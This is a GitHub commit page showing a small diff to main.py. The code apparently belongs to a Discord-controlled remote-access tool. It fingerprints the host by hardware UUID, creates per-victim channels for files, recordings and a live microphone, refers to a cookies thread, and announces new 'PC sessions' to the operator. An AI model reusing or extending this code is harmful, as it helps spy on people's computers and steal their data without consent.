Skip to content

Commit

Permalink
Fixed double session start message
Browse files Browse the repository at this point in the history
  • Loading branch information
mategol authored Dec 5, 2022
1 parent 53e2f44 commit 80e0892
Showing 1 changed file with 2 additions and 7 deletions.
9 changes: 2 additions & 7 deletions main.py
Original file line number Diff line number Diff line change
Expand Up @@ -89,8 +89,8 @@
@client.event
async def on_ready():
global force_to_send, messages_to_send, files_to_send, embeds_to_send, channel_ids, cookies_thread
hwid = subprocess.check_output('wmic csproduct get uuid').decode().split('\n')[1].strip()
if [channel_ids['info'], channel_ids['main'], channel_ids['spam'], channel_ids['file'], channel_ids['recordings'], channel_ids['voice']] == [None, None, None, None, None, None]:
hwid = subprocess.check_output('wmic csproduct get uuid').decode().split('\n')[1].strip()
first_run = True
for category_name in client.get_guild(guild_id).categories:
if hwid in str(category_name):
Expand Down Expand Up @@ -126,13 +126,8 @@ async def on_ready():
case 'file': channel_ids['file'] = channel.id
case 'recordings': channel_ids['recordings'] = channel.id
case 'Live microphone': channel_ids['voice'] = channel.id
await client.get_channel(channel_ids['main']).send('||-||\n||-||\n||-||```Starting new PC session at ' + current_time(True) + ' on HWID:' + str(hwid) + '```')





await client.get_channel(channel_ids['main']).send('||-||\n||-||\n||-||```Starting new PC session at ' + current_time(True) + '```')
await client.get_channel(channel_ids['main']).send('||-||\n||-||\n||-||```Starting new PC session at ' + current_time(True) + ' on HWID:' + str(hwid) + '```')

recording_channel_last_message = await discord.utils.get(client.get_channel(channel_ids['recordings']).history())

Expand Down

0 comments on commit 80e0892

Please sign in to comment.